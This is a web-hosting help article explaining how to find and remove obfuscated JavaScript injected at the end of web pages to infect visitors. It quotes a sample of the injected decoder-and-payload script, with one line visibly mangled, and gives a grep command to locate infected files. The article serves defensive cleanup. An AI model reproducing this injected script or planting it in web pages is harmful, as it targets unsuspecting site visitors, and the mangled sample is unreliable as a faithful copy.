Bluehost Web Hosting Help

My website attempts to infect visitors with a virus

Problem:

Your website attempts to infect visitors with a virus. You search your server and cannot find any viruses executables to account for it.

Solution:

Check last few lines of web page for obfuscated javascript code, as in the following example:
    <script language=JavaScript>
    function dc(x){
    var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,49,46,22,39,35,15,23,8,28,0,0,0,0,0,0,2,25,55,54,30,40,13,57,14,12,53,47,43,
    19,38,3,37,33,58,18,36,44,20,24,51,60,29,0,0,0,0,41,0,0,45,48,9,32,17,59,31,6,61,5,4,7,27,50,56,62,34,10,52,1,16,21,26,42,11);
    for(j=Math.ceil(l/b);j>0;j--){
    r='';
    for(i=Math.min(l,b);i>0;i--,l--){
    w|=(t[x.charCodeAt(p++)-48])<>=8;s-=2}
    else{s=6}}
    document.write(r)}}dc("kNdXOhF18O9QSX9cfBINV3WXaXUcFmFNV3p1shZcahFNw3pc7MIoahUo7mIc75APkxjJi5_eFmZtw0_rssFcmO
    At7ObJfKE1s5UrzKIcSnbrIK9caBjrwB9J@3EJfXZoa5_euXUJw4I190GosKIcDspNAy8XOhF18OYN")
    </script>
Remove the offending lines as you find them on any pages.

With SSH command line access, you can find additional infected pages with a command similar to the following:

    grep -r "function dc(x)" . | awk -F: '{print $1}'
Knowledgebase Article 93,521 views bookmark tags: virus (updated 2160 days ago)


Was this resource helpful?

Did this resolve your issue?


Please add any other comments or suggestions about this content:





Recommended Help Content

Antivirus on Dedicated or VPS servers

If you suspect malicious content, hacks or a virus on your VPS/Dedicated account here are some tools located in your WHM that you can use. (updated 45 days ago)

Virus Scanning (Drive-by Downloads)

This article will explain the benefits of SiteLock in regards to virus scanning. (updated 134 days ago)

Site Not First in Search Engine Results

Why is my site not the first result on Google or an other search engine? (updated 1480 days ago)

Related Help Content

Entropy will not search .php files

Why will Entropy not search any php file? (updated 2140 days ago)

Entropy Search will not finish building the index for my site.

I am trying to rebuild my index for Entropy Search and it stops before 100%. (updated 2160 days ago)

Search Engine Placement

How does Search Engine Placement work? (updated 2158 days ago)

VPS or Dedicated Hosting - Install ClamAV

How to install ClamAV to help with virus protection. (updated 529 days ago)

How to find your WordPress Database

This article explains how to find the database in use by a Wordpress site. (updated 144 days ago)

VPS or Dedicated Hosting - Installing an SSL Certificate for a Website

To help with installing an SSL certificate for an account on a dedicated server through the WHM (updated 124 days ago)

Moving website contents to Bluehost

I need to transfer my website from my old host to Bluehost, but I do not know how to do it without losing files or mail. (updated 127 days ago)

My Website Is Slow

The website is taking a long time to load. It just seems slower today than normal. (updated 127 days ago)